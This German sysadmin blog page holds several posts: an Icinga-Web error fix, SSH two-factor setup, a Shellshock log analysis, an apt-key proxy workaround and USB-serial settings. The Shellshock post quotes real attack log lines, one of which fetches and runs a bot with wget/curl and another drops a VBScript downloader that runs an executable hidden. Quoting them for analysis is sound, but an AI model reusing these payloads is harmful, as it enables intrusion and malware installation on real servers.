Icinga-Web und Fehler „500 internal server error!“ …

… oder wenn ein zuviel an Security auch nicht gut ist.

Kurz und knapp. Der Apache2-Webserver hat eine Konfigurationsänderung bekommen. Aus Sicherheitsgründen geben wir die Server-Version nicht mehr nach außen. Dies bedeutet im Detail, dass in der Datei /etc/apache2/conf.d/security der Parameter ServerTokens auf Prod gestellt wurde.

#
# ServerTokens
# This directive configures what you return as the Server HTTP response
# Header. The default is 'Full' which sends information about the OS-Type
# and compiled in modules.
# Set to one of:  Full | OS | Minimal | Minor | Major | Prod
# where Full conveys the most information, and Prod the least.
#
ServerTokens Prod

Leider ist Icinga-Web damit nicht wirklich glücklich und quittiert anschließend den Dienst mit folgender Fehlermeldung.

-> 500 internal server error!

=== Error ===
Uncaught exception AgaviException thrown!

=== Message ===
You are running the Apache HTTP Server with a 'ServerTokens' configuration directive value of 'Minor' or lower.
This directive controls the amount of version information Apache exposes about itself.
Agavi needs detailed Apache version information to apply URL decoding and parsing workarounds specific to certain versions of Apache that exhibit buggy behavior.

Please take one of the following measures to fix this problem:
- raise your 'ServerTokens' level to 'Min' or higher in httpd.conf
- set a static value for the request source 'SERVER_SOFTWARE' in factories.xml (for your environment)
- set a value for $_SERVER['SERVER_SOFTWARE'], e.g. in your pub/index.php

For detailed instructions and examples on fixing this problem, especially for the factories.xml method which is recommended in case you do not have control over your server's httpd.conf, please refer to:
http://trac.agavi.org/ticket/1029

For more information on the 'ServerTokens' directive, please refer to:
http://httpd.apache.org/docs/2.2/en/mod/core.html#servertokens

For your reference, your SERVER_SOFTWARE string is currently 'Apache'.

=== Stacktrace ===
#0 /usr/local/icinga-web/app/cache/config/factories.xml_production_web_acd19321d1da3485b30f625f8f339c317a2a9ac5.php(63): AgaviWebRequest->initialize(Object(AppKitAgaviContext), Array)
#1 /usr/local/icinga-web/app/cache/config/compile.xml_production__119920113a175a2dcea22e33a36de83ba298e663.php(384): include('/usr/local/icin...')
#2 /usr/local/icinga-web/app/cache/config/compile.xml_production__119920113a175a2dcea22e33a36de83ba298e663.php(3549): AgaviContext->initialize()
#3 /usr/local/icinga-web/app/cache/config/compile.xml_production__119920113a175a2dcea22e33a36de83ba298e663.php(370): AppKitAgaviContext->initialize()
#4 /usr/local/icinga-web/pub/index.php(52): AgaviContext::getInstance('web')
#5 {main}

Damit Agavi weiterhin funktioniert, kann in der Datei /usr/local/icinga-web/pub/index.php die Serverversion explizit angegeben werden.

$_SERVER['SERVER_SOFTWARE'] = 'Apache/2.2.19';

Protect SSH With (Google) Two-Factor Authentication

Das Blog zieht gerade um. Zeit, sich mal wieder Gedanken zum Thema Sicherheit zu machen.
Dank der NSA-Affäre ist dieses Thema mittlerweile bei allen Admins und nahezu allen Benutzer auf dem Schirm. Der Root-Server auf dem dieses Blog gehostet ist, ist eigentlich seit Jahren mit den notwendigen Tools, wie z.B. Fail2Ban, UFW, etc., ausgestattet und vermittelt mir zumindest ein Stück weit Sicherheit.
Seit geraumer Zeit, und nicht nur wegen der vielen Passwort-Diebstähle, habe ich jedoch ein etwas mulmiges Gefühl beim Thema SSH-Login auf den Server. Der Zugriff lässt im Standard zwar einigermaßen absichern, ein gewisses Restrisiko blieb aber trotzdem.
Dieses Restrisiko lässt sich z.B. mit einer Two-Factor-Authentication weiter minimieren. Dazu wird ein zusätzliches PAM-Modul installiert, welches z.B. über eine App auf dem Handy ein zusätzliches Einmal-Passwort generiert. Sollte das Passwort für den Benutzer irgendwie mal abgefischt werden, so ist dieses ohne den zusätzlichen Einmal-Code nahezu wertlos.

Die Einrichtung unter Debian und Ubuntu ist ziemlich simpel.

1. PAM-Modul nachinstallieren

sudo apt-get install libpam-google-authenticator

2. PAM-Modul aktivieren

Dazu wird zu Beginn der Datei /etc/pam.d/sshd die Zeile auth required pam_google_authenticator.so eingefügt.

# PAM configuration for the Secure Shell service

# enable two-factor authentication
auth required pam_google_authenticator.so

# Standard Un*x authentication.
@include common-auth

3. Anschließend muss die Authentifizierungs-Methode noch in der Datei /etc/ssh/sshd_config bekannt gemacht werden.
Dazu wird der Parameter ChallengeResponseAuthentication yes von no auf yes umgestellt.

...
# Change to yes to enable challenge-response passwords (beware issues with
# some PAM modules and threads)
ChallengeResponseAuthentication yes
...

4. Aktivieren der Two-Factor Authentifizierung

Mit dem Befehl google-authenticator lässt sich der Einrichtungsvorgang starten.

Do you want authentication tokens to be time-based (y/n) y
https://www.google.com/chart?chs=200x200&chld=M|0&cht=qr&chl=otpauth://totp/user@server%3Fsecret%do5QuiedaiBa

Bildschirmfoto vom 2015-03-30 22:15:37


Your new secret key is: do5QuiedaiBa
Your verification code is 123456
Your emergency scratch codes are:
12345678
12345688
12345698
12345670
12345679

Do you want me to update your "/home/user/.google_authenticator" file (y/n) y

Do you want to disallow multiple uses of the same authentication
token? This restricts you to one login about every 30s, but it increases
your chances to notice or even prevent man-in-the-middle attacks (y/n) y

By default, tokens are good for 30 seconds and in order to compensate for
possible time-skew between the client and the server, we allow an extra
token before and after the current time. If you experience problems with poor
time synchronization, you can increase the window from its default
size of 1:30min to about 4min. Do you want to do so (y/n) y

If the computer that you are logging into isn't hardened against brute-force
login attempts, you can enable rate-limiting for the authentication module.
By default, this limits attackers to no more than 3 login attempts every 30s.
Do you want to enable rate-limiting (y/n) y

5. Neustart SSH-Service

/etc/init.d/sshd restart

oder

service ssh restart

Shellshock

Die Bash ist kaputt …
Zumindest ein Teil davon. Man konnte quasi Funktionen in Umgebungsvariablen packen und diese dann weiterreichen und ausführen.

Aktuell sieht das dann im Apache-Access-Log so aus:

209.126.230.72 - - [25/Sep/2014:01:32:23 +0200] "GET / HTTP/1.0" 200 376 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
54.251.83.67 - - [27/Sep/2014:00:13:15 +0200] "GET / HTTP/1.1" 200 357 "-" "() { :;}; /bin/bash -c \"echo testing9123123\"; /bin/uname -a"
213.254.12.125 - - [28/Sep/2014:05:34:26 +0200] "GET / HTTP/1.0" 200 376 "-" "() { :;}; /bin/bash -c \"wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh\""

Interessant ist, dass bereits die ersten Bot-Netze die Lücke ausnutzen möchten.

Viel spannender sind aber die ungefähr zum selben Zeitpunkt aufgetretenen Requests

178.32.181.109 - - [24/Sep/2014:00:12:46 +0200] "POST /cgi-bin/php/%63%67%69%6E/%70%68%70?%2D%64+%61%6C%75%6F%6E+%2D%64+%6D%6F%64+%2D%64+%73%75%68%6F%6E%3D%6F%6E+%2D%64+%75%6E%63%74%73%3D%22%22+%2D%64+%64%6E%65+%2D%64+%61%75%74%6F%5F%70%72%%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%74%5F%3D%30+%2D%64+%75%74+%2D%6E HTTP/1.1" 404 386 "-" "-"
209.159.138.19 - - [24/Sep/2014:00:12:47 +0200] "POST /cgi-bin/php/%63%67%69%6E/%70%68%70?%2D%64+%61%6C%75%6F%6E+%2D%64+%6D%6F%64+%2D%64+%73%75%68%6F%6E%3D%6F%6E+%2D%64+%75%6E%63%74%73%3D%22%22+%2D%64+%64%6E%65+%2D%64+%61%75%74%6F%5F%70%72%%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%74%5F%3D%30+%2D%64+%75%74+%2D%6E HTTP/1.1" 404 386 "-" "-"

Die dekodierte URL verrät allerdings nicht allzuviel

cgin/php-d aluon -d mod -d suhon=on -d uncts="" -d dne -d auto_prt -d cgi.force_redirect=0 -d t_=0 -d ut -n

Hier wird vermutlich auf eine Verwundbarkeit geprüft. Da im Log nur 2 aufeinander folgende Requests zu sehen sind, scheint die Sicherheitslücke zumindest schon geschlosse zu sein.

Interessant dürfte auch das hier sein

122.228.207.244 - - [23/Sep/2014:18:02:19 +0200] "GET /?search==%00{.exec|cmd.exe+%2Fc+echo%3E22222.vbs+dim+wait%2Cquit%2Cout%3ASet+xml%3DCreateObject%28%22Microsoft.XMLHTTP%22%29%3ASet+WshShell+%3D+Wscript.CreateObject%28%22WScript.Shell%22%29+%3ADS%3DArray%28%22123.108.109.100%22%2C%22123.108.109.100%3A53%22%2C%22123.108.109.100%3A443%22%2C%22178.33.196.164%22%2C%22178.33.196.164%3A53%22%2C%22178.33.196.164%3A443%22%29%3Afor+each+Url+in+DS%3Await%3Dtrue%3Aquit%3Dfalse%3AD%28Url%29%3Aif+quit+then%3Aexit+for%3Aend+if%3Anext%3ASub+D%28Url%29%3Aif+IsObject%28xml%29%3Dfalse+then%3ASet+xml%3DCreateObject%28%22Microsoft.XMLHTTP%22%29%3Aend+if+%3Axml.Open+%22GET%22%2C%22http%3A%2F%2F%22%5E%26Url%5E%26%22%2Fgetsetup.exe%22%2CTrue%3Axml.OnReadyStateChange%3DGetRef%28%22xmlstat%22%29%3Aout%3DNow%3Axml.Send%28%29%3Awhile%28wait+and+60%5E%3Eabs%28datediff%28%22s%22%2CNow%2Cout%29%29%29%3Awscript.sleep%281000%29%3Awend%3AEnd+Sub%3Asub+xmlstat%28%29%3AIf+xml.ReadyState%5E%3C%5E%3E4+Then%3Aexit+sub%3Aend+if%3Await%3Dfalse%3Aif+xml.status%5E%3C%5E%3E200+then%3Aexit+sub%3Aend+if%3Aquit%3Dtrue%3Aon+error+resume+next%3Aset+sGet%3DCreateObject%28%22ADODB.Stream%22%29%3AsGet.Mode%3D3%3AsGet.Type%3D1%3AsGet.Open%28%29%3AsGet.Write+xml.ResponseBody%3AsGet.SaveToFile+%22ko.exe%22%2C2%3AEnd+sub%3AWshShell.run+%22ko.exe%22%2C0%2C0%3ASet+fso+%3DCreateObject%28%22Scripting.Filesystemobject%22%29+%3Afso.DeleteFile%28WScript.ScriptFullName%29+%26+cscript+22222.vbs.} HTTP/1.1" 200 357 "-" "-"

hat zwar nichts mit ShellShock direkt zu tun, zeigt aber, wie mittlerweile Code eingeschleust und ausgeführt wird.

Ubuntu: Die folgenden Signaturen konnten nicht überprüft werden, weil ihr öffentlicher Schlüssel nicht verfügbar ist

Ubuntu kann einem ja stellenweise schon etwas den letzten Nerv rauben. Vor allem, wenn man es nicht auf einem Rechner mit „direktem“ Internet-Anschluss einsetzt, sondern auf einen HTTP-Proxy angewiesen ist.

Seit dem Upgrade auf 14.04 gab es bei mir folgenden Fehler

W: GPG-Fehler: http://archive.canonical.com trusty Release: Die folgenden Signaturen konnten nicht überprüft werden, weil ihr öffentlicher Schlüssel nicht verfügbar ist: NO_PUBKEY 40976EAF437D05B5 NO_PUBKEY 3B4FE6ACC0B21F32
W: GPG-Fehler: http://archive.ubuntu.com trusty Release: Die folgenden Signaturen konnten nicht überprüft werden, weil ihr öffentlicher Schlüssel nicht verfügbar ist: NO_PUBKEY 40976EAF437D05B5 NO_PUBKEY 3B4FE6ACC0B21F32
W: GPG-Fehler: http://archive.ubuntu.com trusty-updates Release: Die folgenden Signaturen konnten nicht überprüft werden, weil ihr öffentlicher Schlüssel nicht verfügbar ist: NO_PUBKEY 40976EAF437D05B5 NO_PUBKEY 3B4FE6ACC0B21F32
W: GPG-Fehler: http://archive.ubuntu.com trusty-backports Release: Die folgenden Signaturen konnten nicht überprüft werden, weil ihr öffentlicher Schlüssel nicht verfügbar ist: NO_PUBKEY 40976EAF437D05B5 NO_PUBKEY 3B4FE6ACC0B21F32
W: GPG-Fehler: http://archive.ubuntu.com trusty-security Release: Die folgenden Signaturen konnten nicht überprüft werden, weil ihr öffentlicher Schlüssel nicht verfügbar ist: NO_PUBKEY 40976EAF437D05B5 NO_PUBKEY 3B4FE6ACC0B21F32

Normalerweise ist das ja ziemlich fix mit einem

sudo apt-key adv –recv-keys –keyserver keyserver.ubuntu.com 3B4FE6ACC0B21F32

erledigt.

Leider nicht im aktuellen Fall, da hier wie gesagt die Kommunikation nur über Port 80 und 443 möglich ist.

Doch Ubuntu Linux wäre nicht Linux, wenn es hierfür nicht auch einen Fix geben würde

sudo apt-key adv –recv-keys –keyserver hkp://keyserver.ubuntu.com:80 3B4FE6ACC0B21F32

Coolstream Neo, Linux und ein USB-Seriell-Adapter

Folgende Einstellungen müssen zum Aufbau einer seriellen Verbingung zur Coolstream angegeben werden

  • Datenrate: 115200 Bd
  • Datenbits: 8
  • Stopbits: 1
  • Parität (Parity): keine
  • Flußsteuerung (Handshake): keine
  • Terminalemulation: Linux (ähnlich ANSI bzw. VT100)

Siehe auch: http://wiki.tuxbox.org/wiki/index.php/Hardware:Coolstream:NEO#Serielle_Schnittstelle_COM Da Computer mit seriellen Schnittstellen zwischenzeitlich rar gesät sind, muss man zu einem USB-auf-Seriell-Adapter greifen. Diesen kann man z.B. bei Amazon relativ günstig erwerben. Getestet habe ich es mit folgendem Adapter:

IC Intracom USB – RS232 (Seriell) Konverter Konverter USB-Seriell USB – A / Stecker – DB9

Nach dem einstecken zeigt Syslog folgendes an:

Jun 6 22:38:54 pavilion-g6 kernel: [ 6946.249626] usb 2-1.2: new full-speed USB device number 4 using ehci-pci
Jun 6 22:38:54 pavilion-g6 kernel: [ 6946.342662] usb 2-1.2: New USB device found, idVendor=067b, idProduct=2303
Jun 6 22:38:54 pavilion-g6 kernel: [ 6946.342673] usb 2-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=0
Jun 6 22:38:54 pavilion-g6 kernel: [ 6946.342680] usb 2-1.2: Product: USB-Serial Controller D
Jun 6 22:38:54 pavilion-g6 kernel: [ 6946.342685] usb 2-1.2: Manufacturer: Prolific Technology Inc.
Jun 6 22:38:54 pavilion-g6 mtp-probe: checking bus 2, device 4: "/sys/devices/pci0000:00/0000:00:1d.0/usb2/2-1/2-1.2"
Jun 6 22:38:54 pavilion-g6 mtp-probe: bus: 2, device: 4 was not an MTP device
Jun 6 22:38:55 pavilion-g6 kernel: [ 6946.968940] usbcore: registered new interface driver usbserial
Jun 6 22:38:55 pavilion-g6 kernel: [ 6946.968950] usbcore: registered new interface driver usbserial_generic
Jun 6 22:38:55 pavilion-g6 kernel: [ 6946.968957] usbserial: USB Serial support registered for generic
Jun 6 22:38:55 pavilion-g6 kernel: [ 6946.973324] usbcore: registered new interface driver pl2303
Jun 6 22:38:55 pavilion-g6 kernel: [ 6946.973341] usbserial: USB Serial support registered for pl2303
Jun 6 22:38:55 pavilion-g6 kernel: [ 6946.973359] pl2303 2-1.2:1.0: pl2303 converter detected
Jun 6 22:38:55 pavilion-g6 kernel: [ 6946.975206] usb 2-1.2: pl2303 converter now attached to ttyUSB0

Danach ist der Adapter schon einsatzfertig. Am schnellsten geht der Verbindungaufbau mit Putty

putty -serial /dev/ttyUSB0 -sercfg 115200,8,1,n,N